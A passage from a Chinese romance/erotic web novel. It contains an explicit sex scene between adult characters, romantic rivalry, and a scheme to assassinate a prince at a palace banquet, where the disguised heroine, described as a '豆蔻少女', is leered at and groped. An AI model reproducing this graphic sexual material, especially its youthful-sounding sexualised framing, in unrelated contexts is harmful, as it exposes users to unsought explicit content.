事实证明,即便见多识广如璃月,有时也会很傻很天真。表现之一便是,躺在这个以前一见面就是饿虎扑羊,如今一年多没跟她上过床的男人怀里,她竟然真的以为自己能睡个好觉。

欲睡还醒中,璃月只觉两片柔软而又火热的唇,偷袭一般,一会儿在她额侧吻一下,一会儿又在她脸颊上吻一下,一会儿是鼻尖,一会儿又是眼睫,力度不大,轻轻碰一下就撤,就是扰得人睡不着。

更奇怪的是,璃月本来困意正浓,被他这么一骚扰,竟然也隐隐的春心萌动起来,尤其是他燥热的气息,微显急促地拂在她肌肤上,感觉很性感。

她晚饭吃得很饱,现在浑身又暖洋洋的,有道是饱暖思□,谁总结的?也太他娘的符合实际情况了!

在他第五次偷袭时,璃月嘴角一弯,也不睁眼,问:“想要?”

“璃月……”男人也不隐瞒,一双猿臂将她抱得死紧,直接让她感觉自己鼓胀紧绷的欲望。

“那……来吧。”璃月睁开双眸,瞳孔中的妩媚迷离瞬间就将男人所剩不多的意志力吸了个干干净净。

没想到她会这么爽快地答应他的求欢,叶千浔只觉好运陨石一般从天外飞来突然砸在他头上,一时让他头晕目眩回不过神来,被狂喜占据的思绪却想不了更多,只能遵照本能,身子一翻便将她压在了身下,带着激动亢奋的心情,低头便吻住了她的唇。

不同于金缕的软糯甜腻,他的吻总是滚烫而有力,带着不容抗拒的强悍和不容错认的侵占意图,甫一喂入璃月的唇中便叫她浑身都烧了起来。

有时候真的觉得很奇怪,她喜欢金缕那样温柔高超的调情技巧,可叶千浔带给她的这种被强悍侵犯的感觉有时候却能激起她最深沉的兽性和渴望。她不知道,这是不是源自于女人的天性,享受被男人如此迫不及待地需要,看到男人对她的渴望几乎到了压抑不住的地步时,心中会有一种自豪感油然而生。

如果连金缕也算在里面的话,至今为止她有过三个男人。这三个男人中,叶千浔脱她衣服的速度无疑是最快的,瞧,她不过就分神思考了一下,回过神来时,发现自己已经如婴儿般光溜溜地被这只色狼抱在怀里又吻又摸了。

就体质而言,她无疑属于敏感那种,最最简单的肌肤相贴的感觉就能引爆她的激情。感觉到落在自己脖颈和胸前的吻,她不甘示弱地撕扯着他的睡袍,露出一只强健的臂膀,然后一口咬了上去。

野兽般厮缠带来些微的痛却似刺激到了濒临崩溃的男人,他低低地粗喘一声,分开璃月纤长双腿置身中间,刚抵住那湿嫩的软肉想一挺而入,璃月突然挣扎着小腰一扭躲了开去,同时推着他的胸道:“等一下。”

眼看到嘴的肥肉飞了,叶千浔急得差点没爆粗口,额上覆着一层隐忍不住的热汗,一身肌肉绷紧到几乎要爆炸,如果她此时反悔,那他可真要生生给憋死了。心颤颤中,他着急而小心翼翼地问:“怎么了?哪里不舒服么?”

璃月迎着他热得能把人烧死的目光缓缓从他身下坐起,撩人地捋了捋披散在她雪白如玉肩头的发丝,道:“你不是说,只要我原谅你,你就让我上么?”

叶千浔俊脸一僵,以前,百般无奈下,他貌似……真的说过……

可眼下,他真的快憋不住了……

于是他腆着脸,以商量的语气软声道:“璃月,前半场我来,后半场让你上……”

话还没说完,已被璃月一把掀倒在床。

璃月女王般往他结实劲窄的小腹上一坐,按住他道:“谁跟你前半场后半场?哼,说话不算话,看我怎么收拾你!”说着,低下头一口便含住了他胸前右侧那颗小红豆,舔舐吸吮无所不来。

苍天呐,杀了他算了!

叶千浔仰躺在床上,看着女人在他身上又舔又咬,他的小腹甚至还能感觉到她私密之处的软嫩和温暖……

不行了,他已经胀到发痛了!

趁着女人貌似正在他身上玩得开心,他狼爪悄悄握住她纤软的腰肢,将她的身体一点点向他下腹处按去,同时,炙热的凶器抵上来,迫不及待地想要回归阔别已久想念不已的桃花源。

“干吗?老实点!”诡计还未得逞,璃月已经扭过头狠狠一口咬在了他胳膊上。

“呜,璃月……”男人吃痛的声音可怜兮兮地传来。

璃月抬头,昏暗中他的眸光比檀郎看到蹄髈却吃不到的样子更哀怨。

“怎么了?不想被上?”璃月板着脸故意曲解他的意思。

“不是,我……忍不住了。”男人的样子看起来的确憋得慌了。

璃月眼珠狡黠一转,纤指在他胸上画着圈圈,问:“那你想怎样?”

叶千浔狼爪摸着她滑腻温润的肌肤,喉结近乎饥渴地滚动两下:“我想要你。”

“求我。”璃月居高临下看着他。

“求求你。”男人连一秒的犹豫都没有。

璃月弯起了嘴角,问:这世上有像檀郎一般对她言听计从的生物么?

答:有,就是他叶大宫主。

自觉把他逗到了极限,璃月终于大发慈悲地直起身子,挪向他的下腹,在他饥渴难耐的目光中伸手握住他壮硕的凶器,在自己私密之处滑了两下之后,便开始一点点沉身纳入。

“呃……”好大,好硬!不过,比起金缕的那一根,这样的尺寸已经很让璃月庆幸了。

“嗯……”一进入她温暖湿滑的体内,叶千浔便感受到了那要人命的□和她本能的吸吮,销魂的感觉让他的腰椎窜过一线强烈的酥麻,几乎立刻就有了爆发的冲动,忙深吸一口气忍住。

停了片刻,璃月稍微适应了他带来的胀痛感,小腰微扭,左左右右地找起自己的敏感点来,然后抵着特别酥麻的那一点上上下下的□起来。

“嗯……嗯啊,好舒服……”滑嫩细白的双腿分跨在男人的身体两侧,她骑马一般在男人身体上动作着,毫不掩饰自己体验到的欢愉快感。

叶千浔气喘如牛,不为别的,就为此刻身体享受到的濒死般的愉悦,他没有想过,同样的交合,自己主动和她主动带来的感觉竟然差别这么大!看,她才在他身上起伏了几下,强烈的快感已经让他有了点缴械投降的意思。

真是太舒服了,似乎直到遇见她之后,他才知道“舒服”一词到底是什么意思。

如斯想着,心中的爱恋之情更深,他抬眸看她。

乌黑长发小溪般在她雪山般洁白优美的身体上丝丝流淌,凹凸有致的曲线若隐若现,昏暗中,他看不清她的眼神,只隐约看到她眸中湿亮的一层水光。

她随着自己的动作高高低低地婉转呻吟,微抬着下颌,一手揉抚着自己的脖颈和酥胸,另一手的食指探入小嘴中,嘟着被他吻肿的红唇轻吮着,要妖艳撩人的媚态看得他差点没喷鼻血!

这妖精,他迟早被她迷死!

璃月睁开眼睛,见男人目光迷离地看着自己,便停下爱抚自己的动作,倾□子,一手撑在他胸上,身下动作不停,一手摸向他的脸。

抚过他俊逸的眉高挺的鼻柔软的唇,最后落在他脖子上,她轻轻地卡住他脖子,他却毫无反应,仍是一脸对她的渴望和类似压抑的欢愉。

这样的姿势,她随时都可以杀了他。

心里感叹着男人在□中的脆弱,她变换了手势,小手在他脖颈上轻划着,突然一个下沉将他整个纳入吸紧。

“哦……”叶千浔浑身一麻,立刻钳住她的腰肢绷着俊脸僵着身体喘息道:“别动!”

“怎么了?”璃月低喘着看着他按捺不住的表情,一边明知故问一边坏心地就着深入的姿势扭了两下小腰。

殊不知,这两下一扭,真的要了叶千浔的小命。

他压抑不住地粗喘一声,双手按着璃月的腰肢猛然向上挺动两下,然后屏住呼吸身体一僵,颤抖了几下后,死了一般满脸迷醉地瘫倒在床,室内只剩下他长长短短的喘息声。

高潮来的又快又急,刚才爆发出来的那一刻,他真的感觉自己死了,死在了她身下。过了好一会儿,他才从愉悦的云端跌回地面,睁开眼睛,见璃月正似笑非笑地看着他。

他愣了愣,一张红晕未退的俊脸顿时涨成了猪肝色。

他,他竟然早泄了!

“璃月,我憋太久了……”过了半晌,他眼神躲闪地支吾解释。

“我知道,没关系。”璃月垂眸,从他身上下来,躺在一边背对他。

璃月没有怪他,可他心里却非常不好受,自从两人发生肌肤之亲之后,这还是第一次没有让她体验到极致快感他自己先一败涂地。

可,他真的忍不住啊,尤其是她最后那销魂一扭……铁人也受不了吧!

心中又是懊恼又是惭愧,正不知该怎么办,忽然觉得床铺有些震动,他扭头一眼,却见背对他的女人正在那抖个不停,耳边还隐约传来压抑不住的“哧哧”声。

他顿了顿,突然伸手翻过她。

“哈哈哈……”璃月再忍不住抓着被子爆笑起来。

见她那样,叶千浔脸黑了下来,问:“你故意的是不是?”

“什、什么故意的?哈哈……”璃月试图抵赖。 “我叫你停的时候你故意不停的是不是?”叶千浔抓着她逼问。

“滚一边去,你自己不中用,少推卸责任啊。”璃月憋着笑再次转过身背对他。

“我不中用?!”男人的声音一下高八度。

璃月弯着嘴角合上双眼,装睡不理他。

没想到下一秒就被活生生地拖入了黑暗一片的被中,她惊叫了一声,只听男人的声音气急败坏地在她头顶响起:“让你看看,我到底中不中用!”憋了一年多了,一次怎么够?虽说刚发泄过还不能立刻恢复,但调一下情应该就没问题了。

“啊!叶千浔,你干嘛?想死啊?不要亲那里!你的手……嗯……你这混蛋……赖皮……”随着啧啧啾啾的暧昧声音隔着被子逐渐响起,女人尖叫的声音越来越小,渐渐变成撒娇一般的呢喃,而被中扭在一起滚来滚去的那团不明物体,动作的幅度却越来越大……

经此一劫,璃月又以自己的切身体验从男人身上总结出来两条血淋淋的教训:第一,如果你自己不是太饥渴的话,最好别去惹憋太久的男人。第二,如果你的腰腿不是铁打的话,最好不要在床上说一个男人“不中用”。

因为他真的可能因为这两点把你往死里做啊!!

*

叶千浔好恨。

自从定好助金缕政变的计划后,他便跟着璃月先下山,令他挑选出来的血影宫精干部下分成几批依次潜进南佛,伺机而动。

那夜将璃月折腾得太狠,他心里也有些愧疚,于是一路照顾得无微不至,尽管自己夜夜饥渴却也忍着没再去动她。

眼看一路行来已经到了南佛境内,璃月的身体和心情都恢复得差不多,他正想寻个机会重赴巫山一亲芳泽,苏吟歌这讨厌的家伙出现了!

是时,他正和璃月在南佛迦叶江畔一座小城的酒楼大堂吃午饭,苏吟歌突然就站在了桌边,看着璃月道:“喂,女人,我等你好久了。怎么现在才来?”神情语气,竟然将坐在一边的他直接当成了空气。

当着他的面勾搭他女人,还把他当空气?叶千浔当即就欲发飙砍他,璃月眼睛一瞪:“干吗?想造反?他是我朋友。”

叶千浔还未说话,苏吟歌挑着眉凉凉道:“我说你怎么把檀郎扔在那不闻不问了,原来找了只能两条腿走路的。”

叶千浔刚刚被璃月压下去的怒气瞬间狂飙,抽出日月弯刀就向苏吟歌削去。

璃月一把接住,给叶千浔甩了回去,看着两人道:“我说,你们俩要么和平共处要么出去单挑,别在我面前磨磨唧唧,惹人心烦!”

叶千浔拿着日月弯刀,朝着苏吟歌头一偏,道:“走!”

“去了就再别来见我了。”璃月一边吃饭一边补充。

叶千浔僵住,苏吟歌却拉开长凳,自作主张坐了下来,扬声唤道:“小二,给爷添副碗筷。”

“璃月……”叶千浔见苏吟歌那样,皱着眉万分不满地看着璃月低唤。

璃月眼一斜,道:“他也是来帮我的,你要实在看他不顺眼,可以先去盛泱。”

叶千浔语噎,半晌,恨恨地重又坐了下来。

先去盛泱?留这小子单独和璃月在一起?他又不傻!

一顿饭,两个男人边吃便用目光较劲,都有些味同嚼蜡。只有璃月没事人一般,吃饱之后,也不管那两人吃了几粒米,叫声赶路便策马而去。

身后,两个男人争先恐后地紧随着。

接下来的几天,三人行变得十分和谐顺利,只是晚上,璃月经常听到隔壁不是苏吟歌房里就是叶千浔房里,总是先一声踢破门的巨响,然后就是打斗的闷响和男人中招时隐隐的闷哼,再然后就是凳倒桌翻一片混乱,这种情况往往总要持续到后半夜才会结束,夜夜如此。

白天,两个男人都安然无恙,只是偶尔风起,璃月才能从苏吟歌翻起的袍袖间看到他臂上的青紫,至于身上会是何等惨不忍睹的模样,她已经不敢去想了。

而叶千浔显然也没好到哪儿去,好几天早上起来嘴唇都是紫的,还咧着嘴朝她笑呢。

此等情况下,璃月采取什么措施呢?

她什么也不做,偶尔还会枕着他们的打斗声微笑入睡。

嗯,就是这样。

正文 88、宫宴献舞 ...

来到盛泱卫城北楚时,离除夕还有三天,血影宫徒众以及曦王府的人均已乔装易容潜进了附近的乡镇村落。

曦王府那边来和璃月接头的是宴几,两人聚过之后璃月便欲去盛泱与金缕会合。

叶千浔盛名在外,临近年关去盛泱恐怕会引起某些人不必要的关注和跟踪,于是璃月便让他留在北楚,她则和苏吟歌一起去盛泱。

送两人走的时候,叶千浔那哀怨的眼神让璃月都不忍回头。

苏吟歌却是露出了大半个月来最最开心的一个笑容,气得叶千浔差点不顾璃月的淫威撵上去揍人。

最憋屈的是,自从苏吟歌这个碍事的家伙来了之后,别说上床了,他连吻都没偷到一个。一直憋着倒也算了,偏让他前不久又尝到了那销魂蚀骨的滋味,这一个多月,璃月在他面前晃来晃去,他看得见吃不着,就像猫对着吊在空中的鱼一般,抓心挠肺地饿啊。

于是暗自发狠:苏吟歌,你有种一直呆在璃月身边,一旦离开,哼哼!弄不死你我就不姓叶!

回到盛泱时,离除夕只有两天了,璃月先去东宫与金缕碰了面,做了详细的行动计划,血影宫和曦王府的人主要负责协助金缕的人摆平城内金威一方的卫队和附逆以及卫城中可能闻讯赶来的皇城近卫军。

而皇宫则由金缕自己的人马全权负责。

最后就剩一个动手时间的问题,璃月提出,要金缕设法让她混进舞女的行列,以她在殿上袭杀金威为准,她动手,潜伏在殿内殿外的暗线便一起动手。

只要先弄死金威,事情也许会简单得多。

与金缕议定之后,璃月便去丰汇楼找苏吟歌。

是时,盛泱刚下了几场大雪,一片银装素裹,她一路跑到丰汇楼,踹开苏吟歌的房门,然后在房中一边跳一边叫:“冷死了冷死了!”

苏吟歌正坐在火炉边摆弄一张人皮面具,见状,眉梢一挑,勾着唇角问:“要抱吗?”

见他面带挑衅亦真亦假,璃月才不管那么多,蹦过去往他腿上一坐,打个寒战,然后安静下来。

本以为他会故态萌发将她掀下去然后两人开始例行吵架,不想他却没有,而是极其自然地将她环在怀里,双臂从她胳膊下面穿过,继续摆弄那张薄如蝉翼的面具。

这样的姿势让两人挨得极近,他的脸就在她颊侧,呼出的热气拂着她耳后的细发,绒毛般触碰着她的肌肤,一阵微痒,旁边的火炉很暖,他的怀抱也毫不逊色,只片刻,璃月便从寒冷的淫威中挣脱出来。

看着他那双修长素白的手就在自己眼前翻弄着那张晶莹剔透的面具,璃月心中似悄悄伸进了一根毛绒绒的狗尾巴草,酥痒酥痒的。

什么时候开始,她已经习惯和他这样相处了?不管是针锋相对的吵架还是默默无言的相拥,都显得如此的亲昵和自然。

曾经她不是很讨厌他么?看到他欠扁的表情邪肆的笑就想一脚踩到他脸上去,可如今……看他这样,竟然心情很好?

前阵子受伤吃他药吃太多把脑袋吃坏了么?

她偏过头,着意看了看他的脸。

嗯?这么近看这家伙还真是五官精致皮肤白净,如假包换的美男一个,只是那眼眸狭长,乌黑的眼珠在里面滚动起来,狐狸般狡黠却又总是射出轻蔑的光,某些特定的场景下,这种表情能把人生生气死。

他的唇很薄,却又棱角分明,淡淡的色泽,比起金缕那软软的红唇来便多了一丝冷漠和生人勿近的疏离感。

以前在妓院时,常听那些妓女说,唇薄的男人大多薄情。她不知此话是真是假,但唇厚的男人也未必深情,看逛妓院的那些嫖客也不都是一线薄唇。

静静地被她看了片刻,苏吟歌突然眉眼不抬地问:“是不是发现我比叶千浔好看?”

璃月一愣,问:“干吗跟他比?”

苏吟歌眼睑一翻,乌沉沉的眸光锁定在她脸上,似笑非笑:“在我眼中,你可从来都不是喜欢装傻的女人。”

璃月移开目光,少顷,嘴角微微一弯,问:“你凭哪一点认为我们适合在一起?”

“我不需要你负责,如果你需要,我可以对你负责。”苏吟歌神情淡淡地说着认真的话。

“那你不是很吃亏?”璃月调笑。

“佛曰:我不入地狱谁入地狱。”苏吟歌一本正经地冒出不着边际的一句。

璃月僵了僵,突然伸手掐住他的脸颊骂道:“地狱?我是地狱么?即便是,谁求你下地狱来着?”

“死女人,放手!痛死了!”苏吟歌挣扎着回嘴。

“废话,不疼我掐你干吗?”璃月身子一转跨坐他身上,试图让猪脸重现。

“再不放手我发飙了!”苏吟歌见女人八爪章鱼一般黏在身上,皱着眉头大叫。

“怕你不成!”璃月努力捧正他的脸,拇指刚要顶上他鼻尖,腰间突然一紧,身体失了平衡向他怀中扑去,同时,他的唇迎了上来。

璃月一开始还有些抵触,但,苏吟歌抵开她的牙关之后,她便不抵触了。

璃月觉得自己上辈子肯定是有着三妻四妾的男人,习惯成自然,所以,这辈子即便投胎成了女人,也要三夫四君,征兆之一便是:每接受一个新的男人,她心里毫无负罪感啊。

叶千浔的吻,是微显野蛮的侵略,小粉嫩的吻,是小心翼翼的讨好,皇甫绝……算了,不想他,而苏吟歌的吻,与众不同。此刻,她觉得自己既不是被侵犯的那一个,也不是被讨好的那一个,而是与他共同撑起愉悦观感的另一半,很放松,很和谐。

寒风在窗外呼啸,室内温暖如春,忘情拥吻的男女,心中却炙热如夏。

这无疑是难忘的一吻,直到夜晚璃月回到东宫躺在床上时,唇上似乎还残留着他的触感和气息。

苏吟歌……她知道他喜欢她,至于什么时候开始的,她不知道。

对于他俩之间的事情,她从未仔细考虑过,一来忙忙碌碌的也没有时间,二来……因为他和慕容倦的朋友关系,她总觉得别扭。

如果,她和苏吟歌在一起,别的且不论,将来若与慕容倦见面,岂不尴尬?

但慕容倦是她堂哥,看他在永安时得知此事后的表现,似乎也是挣扎着想和她划清关系的……

想起他,璃月心中便一阵阵的泛酸。果然,这世上再牢不可破的友情,都禁不起爱情的利刃,一剑,便伤了,痛了,怕了,逃了。

罢了,早点了断也好,这辈子,她都不可能只爱一个男人了,她爱上了驾驭男人的感觉,不管是床上还是床下。

她不需要男人为她负责,也不想对任何一个男人负责,在一起的时候,玩得开心便好,人生苦短,没必要浪费在追求看不见摸不着的真情上。

如阿纱姐,她相信,她执着,她坚守,但命运最后给了她什么?又有谁能给她重来一次的机会?

翻个身,闭上眼睛。

明天,就在明天,阿纱姐,我便可以为你报仇了。

元齐这个心存侥幸的男人,过了两个月安稳日子,便以为危险已过,早在半个月前便带着家眷返回了颖王府。

她一回来金缕就告诉她了。

明天的宫宴,他身为颖王,必到无疑。

很好,实在很好。

不自觉的捏起双拳,随即发现此刻发狠也是白发,又缓缓松开。

她长长地吁了口气,临睡之前,却又想起方才离开客栈前苏吟歌那句:“明天小心点,跳舞的时候少做转圈动作,别转晕出丑。”

嘴角勾起一丝微笑,她喃喃自语地骂:“臭男人,狗嘴里吐不出象牙。”

*

次日傍晚,盛泱皇宫崇阿殿。

冬季天黑得早,外面细雪飞扬滴水成冰,设有地龙的殿内却和暖如春。四壁上百盏莲状银灯晃出雪色银光一片,照得宽敞庄严的大殿亮如白昼。沿着大殿两侧的墙壁摆了一溜的梅瓶,淡淡的梅香充盈了整个大殿。

宴席早已摆上,文武百官按品阶高低依次坐了,元齐虽身为颖王,却也只能与众臣一般坐在殿中的矮几上,而丹陛之上,龙椅空着,临近龙椅的两侧则分别坐着金威和金缕两人,身后都是成排的侍卫。

皇帝龙体欠佳,去年的除夕宫宴就没参加,今年更是起不来,等到明年,恐怕新君就得坐在龙椅上来主持宫宴了。

想起新君,众臣不由就将目光投向上面那两位最有希望角逐皇位的皇子。

说实话,就个人条件来看,金威无疑更具备威严稳重的帝王气质,而金缕……看他那娇花般的容貌柔弱稚嫩的神情,咳,无可否认,很多大臣每次见过他之后,回去再看自己的妻妾便完全失了性趣,因而,很多大臣都表示不能接受他成为国君。

如果每天上朝都见到这么一位美貌国君,回去再看看自己相形见绌的女人,时间一久难免有不举的可能啊。

不少大臣都是因为这个原因而投入了金威的阵营。

当然,实力也是不可或缺的参考因素,金威的实力有目共睹,而金缕么,留给人们更多的是亦真亦假的猜测。然而这种欲隐还现的神秘感却似比展露在面前的实力更让人忌惮,正因为如此,金威一直未敢贸然对他下手,而另一个原因则是,当朝首辅,三朝重臣鲍良旭,这老家伙在朝中影响力很大又很固执,金威屡次派人去游说,他只一句话:“我不支持任何势力,我忠于我的朝廷。”

于是金威决定等到皇帝驾崩之时发动宫变,让这老家伙和金缕一起去死。

皇帝不参加的宫宴,一向是沉闷而无趣的,因为底下臣子不是支持金威就是支持金缕的,此时若发言,除了浮华于表的歌功颂德之外根本没有别的话题可讲,但一年之中能有多少歌功颂德的事情可供他们长篇大论?

于是看歌舞表演便成了这些各怀鬼胎却又怕旁人看出来的老奸巨猾们很好的掩饰手段。

宴会过半,歌舞也表演了好几场,殿中众臣都有些醺醺然了。

金威抬眸看向对面的金缕,却见他斜着身子,一手支着颊侧靠在扶手上,正在打瞌睡,红滟滟的嘴角一点晶亮,类似口水。

他鄙夷地皱了皱眉头,随即又开始为自己感到悲哀。

想他五皇子文成武就不乏智谋,后面又有母妃一族如此雄厚的势力撑着,这么多年竟然争不过这个类似智障的东西。

他就不明白,当年那天圣宫老宫主是不是眼瞎了,竟然挑他当太子?!而父皇竟然也同意,母妃哭瞎眼都没法让他改变主意,害他这么多年一直居于人下。

这几年来,母妃也曾冒险动过一次手,本以为万无一失,不想这智障胸口中剑竟然还能活着回来。自那次以后,母妃便开始采取保守政策了,说金缕许是气数未尽,让他不要着急下手,待老皇帝归天再说。

如非母妃从中作梗,他早动手送

这智障归天了。

想到郁闷处,金威恨恨地喝了杯酒,然后转眸看向殿中。

恰好一曲歌舞结束,短暂的间隔之后,丝竹之声格外悠扬地响起,一群白衣女子托着一只硕大的花苞从殿外身形翩跹地鱼贯而入,放下那花苞后,便开始围着花苞跳舞。

半人高的花苞,瞬间就吸引了所有人的目光。且,随着那些女子的舞蹈,花苞竟然层层绽开。

金威及金缕身后的侍卫们警觉起来,随时提防里面蹦出一名刺客来。

金缕还在睡,金威则微微眯眼,向后靠在椅背上看着那层层绽放的花朵。

随着一朵巨大的绢布牡丹渐渐显露原形,一名蜷在花心中的少女也应势出现在众人面前,但见她红绸裹胸流苏坠胯,全身上下就这么一点遮蔽,琼脂般的脊背嫩藕般的双臂,以及修长匀称白皙如玉的双腿都毫无遮掩地展现在众人面前。

一瞬间,满殿都是吞咽口水的咕咕声,连金威都不由自主地挪了□子,只因这少女的身体无论是曲线之柔美还是肤泽之皙润都堪称极品,入目的瞬间便勾得人春心荡漾,只是不知脸长得怎样。

既然被内侍府挑来献舞,应该长得不差。

随着花瓣散开,殿中的烛光撒到她身上,她似是受了惊吓,茫然地抬起头来,一张小脸即便称不上倾国倾城,也当得羞花闭月了。

此女不是别人,正是璃月,而脸上那薄如蝉翼的人皮面具正是出自苏吟歌那双巧手,非常巧妙地遮去了她原来的容貌却依然是如花似玉的一张脸。

她甚至还给这张人皮面具化了妆。

随着众舞女在她身边翩翩起舞,她也跟着站起身,霎时,春光满殿。

腰肢纤细曲线窈窕,肌肤胜雪长发如瀑,右肩后三寸,一朵艳色莹然的荼蘼纹身衬得肩若春柳背如凝脂,诱人无限。

满殿饱读诗书熟知礼仪的阁老大臣,却无人知道“非礼勿视”这四个字,一个个目光灼灼地盯着殿中衣衫不整美艳绝伦的豆蔻少女,眼睛眨都不眨。

璃月毫无羞赧之色,一脸青涩纯真地跟着那帮舞女一起跳,仿若初涉尘世的花之灵,惹火的曲线配上那不食人间烟火般的表情,当真是与众不同勾人魂魄。

金威看得有些欲火升腾,想起金缕也好色,眸光一扫去看他。

果然,刚刚还在打瞌睡的太子此刻已然苏醒,不仅苏醒,还精神奕奕地盯着殿中那精灵般舞姿轻盈的尤物,目光灼灼就差没垂涎三尺。

看他那样,金威心中立时便起了相争之意,同时心中又警觉,这女子会不会是他特意安排的想潜进他身边当卧底呢?

想到这层,他沉静下来,不动声色静观事态发展金缕看着璃月,表面一脸向往,心中却早已气得磨牙。

他同意她今天来献舞,但他没想到她会穿成这样来献舞。诚然,这样穿着的确有利于让人放松对她的警惕,可……看看那群目光灼灼盯着她的色鬼们,他恨不能把他们的眼珠子都挖出来!

璃月当然不知金缕心中在想什么,她满心都是如何最自然地接近坐在上面的金威,于是便刻意跳到台阶下,邀宠般看着上面一左一右两位尊贵的皇子。

乌眸盈盈粉唇微抿,裹着红绸的酥胸隐约可见一条深深的勾缝以及小半个雪白丰盈的浑圆,让人真恨不得伸手进去好好抚弄一番。

金缕恬不知耻地伸出了手,带着勾引般的表情向璃月招手,轻声唤道:“小美人,过来。”

璃月心中暗笑,想:这家伙可够能装的,看他一脸的急色样,还真令人难分真假呢。

如此想着,她爱娇地一扭身子,转而看向金威。

金威勾着嘴角微微笑了起来,美女嘛,谁不喜欢,尤其是又美又嫩的少女,看她扭胯的动作如此娴熟销魂,在床上定然也是个要人老命的妖精。

璃月见他笑了,趁热打铁地向台阶上迈上一步,见无人喝止,便扭着小腰一脸羞涩加崇拜地移到金威案前,谁知刚一靠近,金威突然伸手,一把将她拉进怀中,借着她仰躺的姿势伸手便抚上了她滑腻的大腿。